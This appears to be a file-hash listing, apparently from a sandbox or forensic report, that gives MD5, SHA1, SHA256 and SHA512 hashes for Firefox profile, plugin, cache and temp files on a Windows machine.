C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\1tx1xrpd.default-release\gmp-gmpopenh264\2.3.2\gmpopenh264.info

MD5 2a461e9eb87fd1955cea740a3444ee7a
SHA1 b10755914c713f5a4677494dbe8a686ed458c3c5
SHA256 4107f76ba1d9424555f4e8ea0acef69357dfff89dfa5f0ec72aa4f2d489b17bc
SHA512 34f73f7bf69d7674907f190f257516e3956f825e35a2f03d58201a5a630310b45df393f2b39669f9369d1ac990505a4b6849a0d34e8c136e1402143b6cedf2d3

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\1tx1xrpd.default-release\gmp-gmpopenh264\2.3.2\gmpopenh264.dll

MD5 842039753bf41fa5e11b3a1383061a87
SHA1 3e8fe1d7b3ad866b06dca6c7ef1e3c50c406e153
SHA256 d88dd3bfc4a558bb943f3caa2e376da3942e48a7948763bf9a38f707c2cd0c1c
SHA512 d3320f7ac46327b7b974e74320c4d853e569061cb89ca849cd5d1706330aca629abeb4a16435c541900d839f46ff72dfde04128c450f3e1ee63c025470c19157

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\1tx1xrpd.default-release\prefs-1.js

MD5 0f34e70186acec9fe0b68c1a3767b40e
SHA1 87528ee5135a9e4e0d2dda49467972f2e6a4dcf6
SHA256 39b79045b80a5266bbe491ee316e1ff0da2a815cc41305ad946cabc4d9dd733f
SHA512 61213352e52fe4c0ed7654e2be4d98a35ff9cd8cd02cc05707d9c5084a4d68228beb92ef936abbb352511a7b7bd44c6ac8a612c24ebeded10dd67e6eeba836af

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\1tx1xrpd.default-release\cache2\entries\8DF0E9F84C5909278CF68CB55A683669F40995FB

MD5 3f7746b543c4258eddf73cc15d682160
SHA1 a27562998449dbcb00b973575e3ea08f9e1c17a6
SHA256 290b8fea6e21f967a48321eb14d35f9048d2420a507df0e222d40dd0ef2ef808
SHA512 fac2c142556883cbfb77b8a5b3904096ba73640c549ecd418273c1f058a0c82a207a1f4ba8985cc7e3c2fec17b2c1d536659638f3e5d7e205c2445ffcc563be0

C:\Users\Admin\AppData\Local\Temp\tmpaddon-1

MD5 0a8747a2ac9ac08ae9508f36c6d75692
SHA1 b287a96fd6cc12433adb42193dfe06111c38eaf0
SHA256 32d544baf2facc893057a1d97db33207e642f0dacf235d8500a0b5eff934ce03
SHA512 59521f8c61236641b3299ab460c58c8f5f26fa67e828de853c2cf372f9614d58b9f541aae325b1600ec4f3a47953caacb8122b0dfce7481acfec81045735947d

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\1tx1xrpd.default-release\gmp-widevinecdm\4.10.2710.0\manifest.json

MD5 bf957ad58b55f64219ab3f793e374316
SHA1 a11adc9d7f2c28e04d9b35e23b7616d0527118a1
SHA256 bbab6ca07edbed72a966835c7907b3e60c7aa3d48ddea847e5076bd05f4b1eda
SHA512 79c179b56e4893fb729b225818ab4b95a50b69666ac41d17aad0b37ab0ca8cd9f0848cbc3c5d9e69e4640a8b261d7ced592eae9bcb0e0b63c05a56e7c477f44e

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\1tx1xrpd.default-release\gmp-widevinecdm\4.10.2710.0\widevinecdm.dll

MD5 daf7ef3acccab478aaa7d6dc1c60f865
SHA1 f8246162b97ce4a945feced27b6ea114366ff2ad
SHA256 bc40c7821dcd3fea9923c6912ab1183a942c11b7690cfd79ed148ded0228777e
SHA512 5840a45cfdb12c005e117608b1e5d946e1b2e76443ed39ba940d7f56de4babeab09bee7e64b903eb82bb37624c0a0ef19e9b59fbe2ce2f0e0b1c7a6015a63f75

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\1tx1xrpd.default-release\cache2\entries\ADF5BD09EB688DAB1F35EE02E8C35329D0E4AD89

MD5 52b384073699292249620534d21a3c0d
SHA1 451257ec40a562a9b2e773e8ea725640038dc810
SHA256 b42300a833649dda92882e1f65cea72cb999f2ecb04f58ec50ab6cf2cbc74ef4
SHA512 1f6ba2f3704115023152c32164a9465894dc620616e4f46625cf9ef7d2973cb8885423dccbde294473f7c08179c425bf32a048f95a6f010702a4386fa3083365

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\1tx1xrpd.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite

MD5 8b1d0fc2493a98cf7aaaf100cb4199df
SHA1 58e246ff87483e625391b185e3d2af58ef8dac94
SHA256 d4c34e81d4ba7f3a44a0d986efc112fdb0505a6db9bf5e1ba8984a9d811c4939
SHA512 99e362165cc830901ceff04cf65e2c3c0c8c0aaf4ee834e749c206667e06d031e35110a00fb74eecd2029b4d9b19e91dd2eb83b6b2a2bb919f3c4316f78b22bd